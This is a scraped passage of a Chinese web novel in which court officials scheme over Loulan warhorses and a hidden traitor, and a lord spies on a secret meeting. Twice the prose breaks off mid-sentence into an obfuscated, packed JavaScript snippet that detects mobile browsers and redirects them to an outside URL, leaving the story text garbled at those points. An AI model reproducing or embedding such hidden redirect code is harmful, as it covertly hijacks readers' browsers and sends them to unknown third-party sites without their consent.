他将糕点递到燕修延面前,语气温和清淡:“今日朝中公务稀少,便提前收尾了。” 燕修延随手捏起一片尝了口,软糯清甜,口感极佳,顺势抬手将剩下的半片递到谢伟恒唇边,随口问道:“中午在中部用的膳?” “嗯。” 谢伟恒微微垂眸,就着燕修延的指尖轻轻咬下一口,清淡的嗓音带着一丝浅淡无奈:“饭菜偏咸,没什么胃口,吃得不多。” 燕修延掀开一侧车帘,暖风吹入车厢,带着满城夏色“那今日不回家用膳,外头找家酒楼早吃,好好补回来。” 谢伟恒眸中漾开浅浅温柔,从无异议,轻声应道:“好。” 马车缓缓启动,轱辘碾过青石路面,平稳前行。 燕修延靠着谢伟恒肩头,漫不经心开口,想起白日的家书,心头泛起几分顾虑:“今日收到二哥来信,我总觉得奇怪,楼兰那边至今半点消息也无,太过沉寂了。” 谢伟恒微微思索,条理清晰缓缓道来:“楼兰地处极远,路途艰险遥远,再加上此次索要马匹数量极大,共计四千五百匹,绝非小数目。他们仓促之间难以决断,不敢轻易应允,拖延时日也是正常。” 他一语道破其中关键。 千里之外的楼兰王宫,此刻早已是一片混乱哗然。 楼兰国王听闻楼兰边境有五千大虞精兵驻扎,同时还要楼兰四千五百匹战马时。 当场震怒,气得青筋暴起,一脚将殿前的国师狠狠踹翻在地,怒火冲天,吼声震彻大殿。 扬言这个儿子他不要也罢,大不了他再诞子嗣! 他再听信一个女人的话,也没有愚蠢到这种地步。 国王可以狠心舍弃这个儿子,视作权衡利弊的棋子,可后宫之中大王子生母阿依兰若以及一手促成此事的国师,却万万不能接受这个结果,自然是要想办法保住自己的孩子。 175. 你就不能盼自己点好 阿依兰若压下了第一时间奔赴王宫跪地求情的念头。 她太了解国王多疑的性子,贸然求情只会落得适得其反,唯有手握筹码才能撬动僵局。 思虑片刻,她拢好衣襟,敛去脸上焦灼,转身去往大国师鄯星罗策的清修殿。 殿内檀香袅袅,烟气静谧肃穆,鄯星罗策一身素白国师长袍端坐在蒲团之上,眉眼清冷孤傲,周身萦绕着生人勿近的疏离与矜贵。(注:大国师非常圆) 两人闭门密谈,隔绝了所有窥探的耳目。 阿依兰若字字恳切,将楼兰的困境、大王子的无辜、两国交战的后患尽数娓娓道来,言辞恳切,近乎哀求。 可对面的鄯星罗策自始至终神色漠然,眼底无半分波澜,任凭她百般劝说始终不为所动,一副置身事外、漠视众生的冷淡姿态。 几番言语落空,阿依兰若眼底的温和彻底褪去,唇角勾起一抹冷冽的弧度,抛出了隐忍多年的底牌:“鄯星罗策,你若执意冷眼旁观不肯出手救大王子,那休怪我无情。我会即刻将国师替你顶罪、你和大虞人勾结的事情悉数告知大虞皇帝。” 她往前踏出一步,目光锐利如刀,直直钉在对方身上:“不仅如此,你与圣女私相授受、纠缠不清的丑闻我会一字不落地禀明国王。” 在楼兰,圣女是侍奉神明的圣洁神侍,毕生需守身如玉,心系神明,不得沾染半分俗世情欲。 但凡与圣女有染之人,被视为亵渎神明、玷污国运,按楼兰律,当处以极刑,以血祭天,平息神怒! 这桩隐秘,阿依兰若深埋心底多年,从未对任何人吐露半分。 昔日她曾动过攀附这位大国师的心思,刻意试探、婉转引诱,可很快她便看透了鄯星罗策的本性。 此人极度自矜高傲,眼高于顶,心性偏执至极,世间寻常女子皆入不了他的眼,唯独身负神权光环的圣女才被他视作为配得上自己的伴侣。 这份旁人无从知晓的隐秘软肋,成了阿依兰若今日最锋利的武器。 鄯星罗策周身的清冷气场碎裂,眸底掠过一丝剧烈的阴鸷与忌惮。 他沉默良久,指尖微微收紧,终是抵不住这致命要挟:“我可以为大王子向国王进言。但今日殿中所言一切,你必须烂在肚子里,此生不得再提半句,否则我定让你付出万劫不复的代价。” 达成约定后,阿依兰若从容抽身独自长跪于楼兰国王宫殿的白玉阶下。 风息萧瑟卷起她的衣袂翻飞,她低垂眉眼,面色凄楚,绝口不提营救大王子一事,只声泪俱下地叩首恳请。 “陛下,万万不可为了换回大王子,倾尽国库战马!楼兰战马乃是国之根本,是边境将士守护国土的底气,一旦尽数赠予大虞,我国兵力虚空,周边诸国虎视眈眈,届时楼兰必将无险可守、任人欺凌啊!” 她字字泣血,句句皆是为国忧心,姿态谦卑恳切,恰好给了犹豫不决、舍不得大批战马的国王一个绝佳的台阶。 国王端坐龙椅,眼底微动,心中已然默许了她的说辞,正要顺势松口。 鄯星罗策缓步出列,嗓音带着一丝恰到好处的沉忧:“国王陛下,大虞的军队还在我楼兰边境,论战力,我楼兰铁骑足以抗衡自然无惧其威胁。可是……” 国王抬眸看向他,静待下文。 鄯星罗策眉头微蹙,神色凝重,语气添了几分凝重:“就怕周边一众小国听闻大虞陈兵楼兰边境,误以为我国与大虞生隙、国力空虚,届时必会纷纷伺机而动,争相撕咬楼兰这块肉,到那时四面皆敌,祸患无穷。” 国王洞悉其中利害,眉心紧紧拧起,面露难色:“可若真的送出四千五百匹战马,损耗国本,周边诸国知晓后只会愈发肆无忌惮趁机侵扰边境,得不偿失。” “国王陛下! 国师快步扑至国王脚边,双手死死按住地面:“大虞此次并非白取战马!他们许诺只要我国给战马便赠予我楼兰五门雷火炮!此物威力无穷,乃是绝世利器!” 国王压根没听说过所谓雷火炮,眼神锐利,一语戳破关键:“若此物真如你所言那般无敌厉害,大虞为何执意索要我国战马?又为何早年屡屡被羯国铁骑压制、被动挨打?” “陛下是真的!绝非虚言!大虞皇帝提出要战马之时,曾演示给我看过此物!” 国师连忙连连叩首辩解,手忙脚乱地比划着兵器的模样:“炮筒有这般粗壮,炮身修长坚硬,硕大的雷火弹填入其中,一经发射,可轰出数十丈之远,落地瞬间轰然炸裂,能硬生生炸出一个丈余大坑,碎石飞溅、威力滔天!” 他口中说得天花乱坠,实则从未亲眼见过雷火炮的威力。 此番说辞不过是返程途中偶然听闻大虞底层士兵私下闲谈所得。 他还依稀听闻,雷火炮炮筒工艺简单、易于打造,唯独核心的雷火弹制作工序繁杂严苛,且极易起火爆炸,凶险万分,因此产量极低,极为稀缺。 见国王依旧半信半疑,国师连忙补道:“陛下,大虞士兵亲口所言,雷火弹炼制凶险、损耗极大故而无法大批量量产。” “陛下,我以为大虞皇帝本意并非想要大王子性命只是借机施压。不如派人再送五百匹战马去,请他们再次演示雷火炮威力。” 鄯星罗策适时侧目淡淡扫了慌张的国师一眼:“毕竟此前出使众人并未亲眼见证威力,单凭国师一人之言确实难以取信。再次演示方可辨虚实。” 国王心中百般权衡,他连五百匹精良战马都不想出,却也清楚当下局势僵持不得。 大虞军队久驻边境,始终是心腹大患,唯有暂且妥协以少量战马糊弄周旋,逼其先行撤兵。 他终是极不情愿地点头应允:“便依此计行事吧。” 若雷火炮果真威力惊人、物超所值,后续他就让人与大虞谈谈,增送战马换取兵器。 若是虚有其表,他断然不会再损耗半分国力。 国师暗自心焦,心中忐忑不安。 区区五百匹战马,远远达不到大虞的预期只怕难以平息大虞皇帝的怒火,不仅无法换回大王子反而会让大虞迁怒,加重对大王子的苛待折磨。 他正要开口劝谏,阿依兰若迅速递来一记凌厉的眼色,暗中制止他继续说下去的动作。 此刻万万不可急躁,若是过度渴求、频频劝说,只会让国王心生猜忌,怀疑二人别有图谋。 “才五百匹?” 此次负责护送的将领锦似程目光扫过国师身后寥寥无几的马群,嘴角勾起一抹讥讽的冷笑,低声嗤啐:“怎么,楼兰这是当我不识数,随意搪塞糊弄?” 国师连忙赔笑:“是这样的,我们的战马皆是散养,遍布各地草场,仓促之间实在难以集齐四千五百匹且大规模驱赶路途遥远、阻碍颇多,实属无奈之举。” 国王心腹阿赫连漠,神色冷峻,态度疏离淡漠,全然没有国师的谦卑讨好,淡淡开口定调:“陛下有言在先,若你们的雷火炮果真名副其实、威力卓绝,他自会奉上足量良马,绝不食言。” 阿赫连漠压根不信大虞真的会让这五千孤军攻打楼兰。 这里离大虞远着呢,后援匮乏、粮草不济,真若是兵戎相见,吃亏落败的未必是坐拥地利的楼兰。 锦似程知晓陛下的计划,他见状只是故作恼怒,低声怒骂两句佯装愤懑。 随即抬手一挥:“即刻拔寨,启程!” 国师高悬的心终于缓缓落下,暗自松了一口长气。 可他方才的慌张失态、神色忐忑,尽数落在了阿赫连漠眼中。 阿赫连漠眸光沉沉,若有深意地多看了他几眼,眼底满是审视与探究,疑心暗生。 国师敏锐察觉那道探究的目光,侧身转头伸手假意抚摸身侧战马的鬃毛,刻意避开对方的视线,不敢让他看见自己慌乱心虚的神情。 返程途中,锦似程为不耽误时机亲笔写下一封密信,派遣精锐骑手快马加鞭,日夜兼程先行送回京城,将楼兰的一举一动尽数禀报朝廷。 信抵达京城时,瑞王恰好也刚刚抵京。 虞睿祥接过加急密信,快速浏览完毕随手递给身侧的燕修延。 燕修延垂眸扫完信中内容,转手递给一旁的工部侍郎,眉眼轻扬,神色从容淡定。 工部侍郎接过信件,反复细看几遍,眉头紧紧皱起,面露犹疑忐忑:“当真要按此计行事?仅靠话术烘托威力只怕极易露馅,一旦败露后患无穷。” “尽管放心。” 燕修延抬手拍拍自己的胸口,神色笃定:“万事有我兜底,你只管安稳完成兵器展示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646333|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,记得其余话术烘托、造势渲染说得天花乱坠让楼兰众人深信不疑。” 顿了顿,他像是忽然想起什么,面露无奈随口补了一句:“我忘了你素来木讷寡言,半点口才也无。这事指望你属实不妥,还是让温瑞过来更为稳妥。” 工部侍郎失语的看着眼前一脸随意的燕修延:“……你将我拉过来,自顾自说了一通谋划,这是在浪费我的时间,你当真半点都不觉不妥?” 燕修延抬眸同情的看着他:“你一定没有体会过有人相伴、一同虚度光阴的松弛快乐。” 工部侍郎满脸震惊,瞠目结舌:“浪费时间尚且算作快乐?燕大人未免太过颓废散漫了!” 燕修延拜拜手,懒得与这个年过二十依旧孤身一人、刻板无趣的单身汉争辩。 虞睿祥摆摆手示意苏公公打发殿内众人尽数退下。 恢弘的御书房归于寂静,殿中只剩帝王与燕修延二人。 四下无人,褪去了所有朝堂伪装与君臣桎梏,长大成人之后这是燕修延第一次轻声唤出那个无比亲近的称呼:“哥。” (注:太后是燕修延的干娘,叫虞睿祥哥理所应当!!!) 他抬眸望向虞睿祥,眼底藏着一丝不易察觉的郑重和谋划:“倘若来日战场凶险,我不幸战死沙场,你务必护住谢伟恒,护他一世安稳无忧。” 虞睿祥蹙眉,满脸不悦地白了他一眼,摒弃了帝王专属的“朕”,用最寻常亲近的兄长语气,无奈又心疼地说。 “你就不能盼自己点好?你若真有不测,母后与伟恒若是追责于我,我如何担待得起?” 燕修延垂眸敛眉,神色微微委屈,默默看着他,不发一言。 虞睿祥终究心软,无奈叹气,妥协道:“行了行了,我答应你。但我要你记住,战死这件事你想都不要想,就算是临阵脱逃你也必须完好无损地活着回来。” “那可不行,我身为大虞臣子、沙场将士,绝不能做贪生怕死的逃兵,辱没家国颜面。” 虞睿祥眼神凝重,语气带着不容抗拒的威严:“城池丢了可以倾尽国力再夺;军队散了可以重新招募再组。唯独人命逝去便无法复生,再无重来的机会。 真有那日绝境,活下去就是你的天职,这不是商量是我给你的命令。” 燕修延看着兄长眼底真切的担忧,心中暖意翻涌却不愿轻易应下誓言,只是含糊地嗯嗯啊啊几声,浅浅糊弄过去未曾给出明确答复。 中部这几日忙的很。 燕修延暂且搁置与谢伟恒相处的时光,闲来无事晃悠着去监察司。 环顾一圈未见温瑞身影:“温瑞人呢?去哪了?” 温泽双手无奈一摊,眉眼带笑,语气戏谑:“还能去哪?自然是寸步不离的盯着他那位未来妹婿呢。” 燕修延似笑非笑地点了点他的肩头,打趣道:“敢不敢当着温瑞的面提一句‘妹婿’?” “嘶,那还是算了吧。” 温泽收起笑意连连摇头,他已经因嘴欠被温瑞追杀好几次了,累得浑身酸痛。 “等我彻底歇够了、缓过来再说。” 正现在南宫何遥身边,死死盯着他的温瑞鼻尖发痒,猛地打了一个硕大的喷嚏。 朱语秋眼疾手快的一把拽着南宫何遥急速后退数步,堪堪避开。 站稳身形后,朱语秋拍着胸口,心有余悸地吐了吐舌头:“好险好险!差点就被哥哥的喷嚏精准攻击到了!” 温瑞揉揉发痒的鼻尖,看着亲妹妹偏心的模样,满脸哀怨,愤愤不平道:“我可是你一母同胞的亲哥哥,你就这般嫌弃我? 朱语秋眨着一双澄澈的眼眸,理直气壮地回道:“我也没把你当干哥哥呀,你打喷嚏太吓人了!” 温瑞被怼得一时语塞,气结不已,满心憋屈。短短时日南宫何遥彻底哄骗拿捏了整个温家上下。 他父母对南宫何遥百般满意、青睐有加,即便温瑞数次提议,二老也始终不肯将南宫何遥收为义子。 最让温瑞抓狂的是,就连温家素来凶悍护主、生性警惕的狗子,见了南宫何遥也会温顺摇尾、亲昵讨好,温顺得不像话。 要知道,这只平日里看家护院的狗子,每次见到他这个正主都会嚣张狂吠、上蹿下跳,从未有过半分温顺! 176. 朕要向伟恒告状 燕修延步履从容地踏入镖局大院时。 温瑞正老老实实蹲在阴暗的角落里,一根指尖百无聊赖地在布满薄灰的地面上画圈圈,嘴里碎碎念念,调子委屈又哀怨:“完了完了彻底完了,我如今是实打实的孤家寡哥了,我的妹妹她胳膊肘往外拽都快拽折了……” 燕修延指着温瑞侧目看向朱语秋:“他这是闹什么别扭?” 朱语秋轻轻耸了耸肩,眉眼间满是无奈,语气轻飘飘的:“大概是我拦着他不让他一见着南宫就龇牙咧嘴吧。” 燕修延眉峰微挑:“原话。” 被他一语戳破,朱语秋略显心虚地抬手摸了摸鼻尖,老老实实复述,半点不敢掺假:“我让他别整日对着南宫瞎嚷嚷,聒噪得很,家里养的狗子都没他叫得欢实。” 真不是她想凶自家兄长,实在是温瑞跟护食的猎犬一般次次见了南宫何遥就咬,不是,叫唤,聒噪得她脑袋阵阵发疼。 南宫何遥又听不太懂多少大虞的话,只睁着一双干净澄澈的眼眸,满脸懵懂无辜地望着她。 真不是她刻意偏心外人,实在是自家亲哥这副斤斤计较、小题大做的模样看着实在欠揍。 燕修延上前一步,抬手不轻不重地拍了下温瑞的后脑勺,力道刚好:“别蹲地上闹脾气,起来,给你交代件正事。” 温瑞脑袋被拍得一歪,慢吞吞扭头瞥了燕修延一眼,眼底满是委屈却半点不起身,又固执地转回头,继续对着墙角的灰圈出神:“头儿,我现在心如死灰,有差事你直接写信,烧给地下的我就行。” “温、瑞!” 燕修延双臂环胸,尾音微微下沉,语气陡然添了几分严肃,简简单单两个字,自带慑人的气场。 温瑞浑身一僵,跟弹簧似的从地上弹起来,站姿端正,眼神瞬间精神抖擞:“头儿!你说,我听着!” 燕修延懒得跟他废话,伸手直接拎着他的后领,像提小猫似的,轻轻松松将人带离了墙角。 朱语秋对着身旁乖乖站着的南宫何遥悄悄努努嘴,压低声音调侃:“看见没?我哥就是典型的欺软怕硬,专挑老实人欺负。” 南宫何遥似懂非懂的乖乖点头,澄澈的眼眸里依旧满是懵懂。 温瑞鼻尖发痒下意识抬手摸了摸,不用回头都能猜到身后场景,愤愤不平地嘟囔:“头儿!肯定是南宫狗子在心里偷偷蛐蛐我!” 燕修延脚步未停,只淡淡吐出一个字:“哦。” 温瑞委屈加倍,巴巴地告状:“头儿,你都不帮我说句话!” 燕修延侧眸瞥他,语气淡然无波:“你都当面对着人家蛐蛐回去了,还要我怎么帮你?” “可秋儿帮他啊!” 温瑞垮着一张脸,活像受了天大的委屈:“现在全世界都帮着外人,就我没人撑腰。” 燕修延眸底掠过一丝戏谑,语气慢悠悠的,带着几分刻意吓唬人的意味:“哦?那简单我让柳岚配一副悄无声息的药,直接把他解决了,省得你看着碍眼,可行?” “别别别!那还是算了!” 温瑞摆手,挠挠后脑勺,一本正经地改口:“那倒也没必要,犯不着伤及性命。” 他就是单纯看南宫何遥不顺眼,天天跟在自己妹妹身边装乖巧,很欠揍。 燕修延摊摊手,一脸无奈:“那我就没办法帮你排忧解难了。” 他对着温瑞微微勾勾手指,神色敛去玩笑,正色道:“先不扯这些没用的,有个好差事,刚好适合你。” 燕修延微微俯身凑到温瑞耳边,压低声音细细叮嘱了一番。 温瑞起初还蔫蔫提不起劲,听着听着双眼亮了起来,脸上的委屈一扫而空,浑身都来了精神,眼睛亮晶晶的:“头儿!这可是我的老本行!绝对稳妥!需要我收敛着点分寸吗?” “别吹嘘得太过离谱,免得旁人见过实情后落差太大。” 燕修延点头,又细心叮嘱一遍:“切记把握好尺度,别吹过头——算了,你想好完整说辞后,过来跟我复述一遍。” 温瑞又蔫了,委委屈屈地看着他:“头儿,你就这么信不过我的办事能力啊?” 燕修延目光坦荡,神色无比诚恳,直言不讳:“对,信不过。” 温瑞捂着心口一脸受伤,转身又要往墙角的阴影里蹲,活脱脱一副备受打击的模样。 “这点出息。” 燕修延脚尖轻轻一抬,慢悠悠踢了下他的小腿:“我先走了,好好斟酌说辞,别出错。” 抵达谢府后,燕修延寻到谢伯,一问才知谢伟恒尚且在外未归。 他索性调转方向,慢悠悠走上街头。 燕修延挑了一家临街的酒铺,买了一壶清甜爽口的青梅酒,又挑了几样软糯细腻、口感清甜的精致点心。 在谢伟恒回府必经之路的街边露天茶摊落座,点了一盘花生,又沏了一壶粗茶。 闲适地晃着修长的双腿,他捏起一粒花生细细剥去外层的红皮,将圆润的果仁丢入口中,慢慢咀嚼。 街边茶摊的粗茶滋味寡淡,带着些许涩意,远不及茶楼里精心炮制的好茶醇香绵长。 燕修延无所谓这些,解渴解乏就行。 他目光漫无边际地扫过街头人来人往、车马穿梭,百无聊赖地消磨着时光。 一辆样式朴素、毫无花哨装饰的青篷马车,顺着街道缓缓驶过,速度平缓,看着再寻常不过。 一阵风拂过,轻轻掀起一侧的车帘。 燕修延随意抬眼,透过掀开的缝隙,精准瞥见了车厢内端坐的人影。 季乐允——不对,季乐允估计已经在地府排队投胎了。 这必然是当初暗中算计、狠狠坑了季风一把的神秘之人! 燕修延起身随手将几枚铜板压在茶碗底下,拎起身侧的青梅酒与点心,身形不动声色,悄无声息地跟在了马车后方。 马车并未驶入繁华街巷,反而一路七拐八绕,渐渐远离喧闹街市,往城中僻静幽深的小巷行去。 最终,马车稳稳停在一家偏僻僻静的酒肆门前。 面容酷似季乐允的男子率先掀帘下车。 他立在门前,神色谨慎,目光左右快速扫视一圈,确认四周无人窥探、一切安稳后,微微颔首示意。 马车上的人影戴着宽大的黑色斗笠,帽檐压得极低,彻底遮蔽了眉眼面容,让人完全看不清样貌,缓步从车厢内走出。 隐匿在暗处的燕修延眸光微微一挑,心底生出几分熟稔。 这位戴斗笠的神秘人,身形体态隐约眼熟,貌似也是他认识的旧人。 两人一前一后沉默着抬步走入酒肆。 待两人进门片刻,酒肆里头快步走出一个小二装扮的伙计,他动作麻利地摘下门口悬挂的酒肆招牌,转手收回店内,紧接着抬手合上两扇木门,落闩上锁,将整座酒肆彻底封闭,隔绝了内外光景。 燕修延脚尖轻点地面,身姿轻盈如羽,不发出半分响动,纵身跃上酒肆的屋顶。 他俯身趴于青瓦之上,凝神静听,可下方屋内死寂一片,半点人声、动静都无。 他耐着性子伏了许久,依旧一无所获。 随即身形一翻轻巧落地,落地时轻如落叶,无半分声响。 燕修延缓步贴紧紧闭的木窗,屏息细听,屋内依旧沉寂无声,安静得诡异。 这两人难不成进屋就哑巴了,一句话都不说? 满心疑惑之下,他伸出指尖小心翼翼、极轻地将木质窗棂推开一道细若发丝的缝隙,借着缝隙向内悄然窥探——好吧,他们真的没说话。 两人面对面分坐桌前,戴斗笠的那人自始至终未曾抬手摘帽,他们手中各执一支毛笔,桌上铺着雪白宣纸。 彼此写完一行字迹便将纸面转向对方示意,待对方看清内容立刻抬手引燃纸张,看着纸灰燃尽飘落不留半点痕迹。 谨慎、多疑、周密,几乎做到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646334|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了极致,半分破绽都不留下。 燕修延静静观望片刻,知晓再留无益,打探不出任何有用讯息,便悄然转身迅速离开了这条僻静小巷。 走出巷口,他抬手吹了一声清亮的口哨,暗处闪出几名身着便服、气息沉稳的监察司人,躬身听候差遣。 燕修延低声吩咐,命他们分班轮守,严密盯住小巷两头出入口,但凡有车马、人影离开,务必全程隐秘尾随,查清去向、摸清踪迹,不得有半点疏漏。 安排妥当后,他拎着一路未动的青梅酒与点心,入宫。 虞睿祥正与瑞王对弈,黑白棋子错落排布于棋盘之上,局势胶着。 见燕修延提着食盒酒壶悠然入内,虞睿祥放下手中棋子,眉眼带笑,开口便是一句打趣:“稀奇,朕头一回见你来宫里蹭御膳还自带东西。” 燕修延将手中物件往身后一藏,嘴角勾起浅浅笑意,理直气壮:“这可不是给陛下的,是我买来打算跟谢书令一同分食的。” 虞睿祥转头看向瑞王,故作无奈地摇头笑道:“你瞧瞧,这小子多小气。来宫里蹭朕的御膳珍馐不说,从来都是空手而来,今日难得带回东西还半点不肯便宜朕。” 瑞王落下手中一枚白子,眉眼温润,笑意谦和:“皇兄此言差矣,燕大人随性坦荡,不分彼此,这恰恰是君臣亲厚、不分尊卑的最好印证。” “你啊,谁都不得罪。” 虞睿祥笑着摇头,目光落回棋盘正欲落子,忽然目光一凝,抬手点点棋盘,“不对,你偷偷挪子了。” 瑞王坦然一笑,毫无愧色:“对啊,皇兄你不能让我一两子?下完棋你们谈正事,我正好去御池喂鱼散心。” 虞睿祥将手中棋子丢回玉瓮之中:“罢了罢了,不下了,算你赢。快去喂你的鱼,省得在这儿耍赖。” 瑞王起身,对着燕修延微微颔首示意,步履悠然离开。 燕修延毫不拘谨,一屁股坐在瑞王的位置上,看了眼周围的宫人。 虞睿祥抬手,让宫人退下。 “说吧,又查到什么事了?” 燕修延收敛笑意,将方才街头偶遇、尾随马车、探查僻静酒肆的始末,一五一十细细道来,条理清晰,半点不漏:“我觉得那个戴斗笠的神秘人身形眼熟,十有八九是丞相。” “楚毅?” 虞睿祥眸光沉了几分,淡淡吐出这个名字,语气带着几分深思。 燕修延重重点头,他对这东西熟悉的很。 “绝对错不了!就算他刻意遮掩、乔装打扮,哪怕是改头换面、男扮女装,我也能一眼认出来!” 这话听得虞睿祥无言以对,脑海中莫名浮现诡异画面,今日的晚膳都不想用了:“你以后多跟伟恒学学沉稳,哪怕学上一星半点也好,说话也能稍微中听些?” 燕修延狡黠一笑,挑眉反问:“那他为我向陛下讨赏、句句夸赞我的话,陛下也觉得中听?” 虞睿祥只觉头疼,摆摆手一脸抗拒:“你闭嘴。这种甜腻说辞我半点不想听。” 玩笑过后,虞睿祥正色叮嘱:“你让监察司继续暗中盯着,务必查实两人的真实身份、往来目的,半点差错都不能有。” 燕修延望着他,眨了两下清亮的眼眸,神色灵动。 虞睿祥一眼看穿他的小心思,顺势打趣:“我要告诉伟恒你向我抛媚眼,让他好好管管你。” 燕修延一脸控诉,语气委屈:“……哥你变了。” 虞睿祥唇角噙着浅淡笑意,从容接话:“我是变好了。” “不管不管!” 燕修延起身,脚步轻快带着少年意气的狡黠,边跑边喊:“我先行告退!反正有谢书令替我讨赏,哥你不给也得给,哎嘿~” 话音未落,人影已然轻快掠出书房,溜得无影无踪。 殿内只剩虞睿祥一人,他弯腰将散落的棋子一一拾回玉瓮。 无奈又好笑地轻轻摇摇头。 177. 遇见了个一根筋 虞睿祥缓步走至锦鲤池边,身姿雍容从容,周身带着帝王与生俱来的沉静气场。 他侧过手,指尖轻抬极为随意地从瑞王掌中捻起一小撮金黄的鱼食。 指腹摩挲过细碎的颗粒,下一瞬轻轻扬手,鱼食簌簌散落,点点碎金坠入水中。 “哗啦——” 原本闲散游荡的锦鲤躁动起来,五颜六色的鱼群争先恐后簇拥成团,层层叠叠挤在一处,圆滚滚的身子相互碰撞、推搡, 嘴巴不停开合争抢着落水的鱼食,池水被搅得翻腾不止,细碎的水花四溅。 这些锦鲤日日有人精心投喂,三餐从不间断,个个养得膘肥体壮、体态圆润,腹中从未缺过吃食。 可饶是如此,每次看见投喂的鱼食依旧这般贪性尽显,仿若久饥逢食,半点沉稳气度无存。 虞睿祥垂眸望着池中乱象,神色淡淡,辨不清喜怒。 片刻后,他微微偏头示意苏公公屏退宫人,随意提起:“朕召你进京,并非因为太妃的事情。” 瑞王眉眼间挂着一贯闲散无害的笑意:“皇兄是想问,你生辰前夕,我为何暗中提醒你提防一事。” 虞睿祥微微颔首,只吐出一个清冷的字:“嗯。” 瑞王指尖捏着鱼食,目光落在疯狂争食的鱼群上,娓娓道来其中隐秘:“晋王身边有个极为信任的贴身近侍,是季风的嫡长子季乐允。” 而季乐允还有个兄弟,乃是同胎所出。 年岁尚幼便被季风狠心拆分,从此命运天差地别。 季乐允被送往晋王外祖家寄养,自幼伴在年少的晋王身侧,朝夕相随,尽心辅佐,凭着过人的聪慧与稳妥的性子,成了晋王最倚重的心腹,风光无限。 季乐音的境遇却是天壤之别,自小被弃,辗转被送入江湖中拿钱买命的暗杀组织,日日在刀光血影里挣扎,生于阴诡,长于厮杀,活成了不见天日的刺客。 “此前季乐音执行刺杀任务,阴差阳错弄错了目标,摸到了臣弟的封地,想来取臣弟性命。” 瑞王此生头一回直面刺客暗杀,没有半分惊惧,反倒觉得新鲜有趣,索性不动声色将季乐音悄悄扣留在身边。 也是这场意外,瑞王无意间发现晋王身边那位风光无限的亲信,居然与季乐音生得一模一样,容貌身形毫无二致,若非性情境遇天差地别根本无人能辨。 瑞王抬眸望向帝王:“皇兄心里清楚,三哥骨子里从来没有放下对这至尊皇位的执念。” 陛下暗中紧盯晋王,不问政事的瑞王也始终静静注视着这位野心勃勃的三哥。 只是他的防备从非忌惮皇权旁落,仅仅是单纯不愿让这般心性狭隘、资质平庸之人,登临九五、执掌大虞山河,白白糟乱了朝局。 “季乐音暗中跟踪季乐允,发现他出入晋王在京中的住处,还探听到他们所有密谈。” 季乐音的肚子里也憋不出啥好水来,他摸清内情后,借着二人容貌无二的优势,刻意模仿季乐允的言行语态、举手投足,以假乱真,暗中蛊惑季风,哄得季风在朝堂之上当众说出那些话来。 提到季乐音胆大包天、暗中作祟的手段,瑞王脸上的笑意愈发浓郁。 虞睿祥将他所有细微神色尽收眼底,眸色微深,一语戳破他的心思:“你先前上书请旨,欲将太妃接回封地奉养,如今看来此事若是成行,你可就未必能稳住、藏得住了。” 这话一针见血。 瑞王神色坦荡从容,全无半分被拆穿的慌乱,轻笑一声:“哦,臣弟原也不是非要接母妃离宫不可。母妃在深宫居住多年早已习惯宫中岁月,衣食无忧、安稳闲适,闲来无事尚可与诸位太妃品茗打牌、闲话度日,自在安逸,未必愿意随臣弟归居封地。” 虞睿祥转过身,负手而立,静静凝视着瑞王,眸光沉静,静待他的后文。 瑞王话说得松弛,可话外之音清晰明了——那道恳请接太妃归藩的奏折,从来都不是他的真心所求,不过是一道名正言顺、让他离藩入京、直面帝王的借口罢了。 池边微风拂过吹起锦袍衣角,瑞王抬手将掌心剩余的所有鱼食尽数挥洒入池。 漫天细碎的鱼食坠落水中,引得锦鲤争抢更甚,水声哗啦,掩去片刻寂静。 他语气添了几分郑重:“此前曾有人暗中提点臣弟,乱世棋局,不必死守一隅,可借助外力争上一争。” 虞睿祥眸光微动,脑中飞速掠过朝中重臣名录,稍一思忖:“右丞相?” 这一句精准猜测,让瑞王眼底掠过一抹真切的意外。 他未曾料到自己与楚毅极为隐秘的私下会面,竟早已落入帝王眼中半点隐秘无存。 他垂首低笑一声,眼底满是叹服:“果真世间万事,无一能逃过皇兄慧眼。” 楚毅身为当朝右丞相,学识渊博、城府极深,早年曾入宫为诸位皇子讲学,除却御前公开授课,私下里也曾特意为年少的瑞王单独指点课业,悉心教导。 说起来算得上是他的半个授业恩师。 起初,瑞王愚钝只当右丞相将仕途筹码压在了自己身上。 “那时臣弟还暗自腹诽,右丞相这步棋怕是落错了地方,压在臣弟这个无心权柄的闲散王爷身上,终究只会落得满心失望、徒劳一场。” 直至后来,右丞相私下与瑞王闲谈,意有所指提点他可借外力谋局。 瑞王归藩之后,每每回想那日对话,总觉话里有话处处透着蹊跷,心底疑虑丛生。 虞睿祥脑中想起南宫何遥提及的秘事。 他说大虞朝堂之中有臣子暗中与羯国私通往来。 虞睿祥眸光沉敛,轻声发问:“所以,你想如何试探?” 瑞王说出让季乐音去见楚毅的事情。 右丞相不知双子秘辛,更不知季乐音早已归心于瑞王,只当自己暗中买通了季乐音,自以为得了一枚安插在瑞王身侧的绝佳棋子。 这些时日他时常暗中召见季乐音,百般打探瑞王的行踪动向、私下布局,窥探瑞王的虚实底牌。 可右丞相全然不知的是,季乐音的所有密谈、所有试探,隔日便会一字不落传入瑞王耳中。 用来收买季乐音的金银财物,也分毫未少尽数被季乐音转交至瑞王手中。 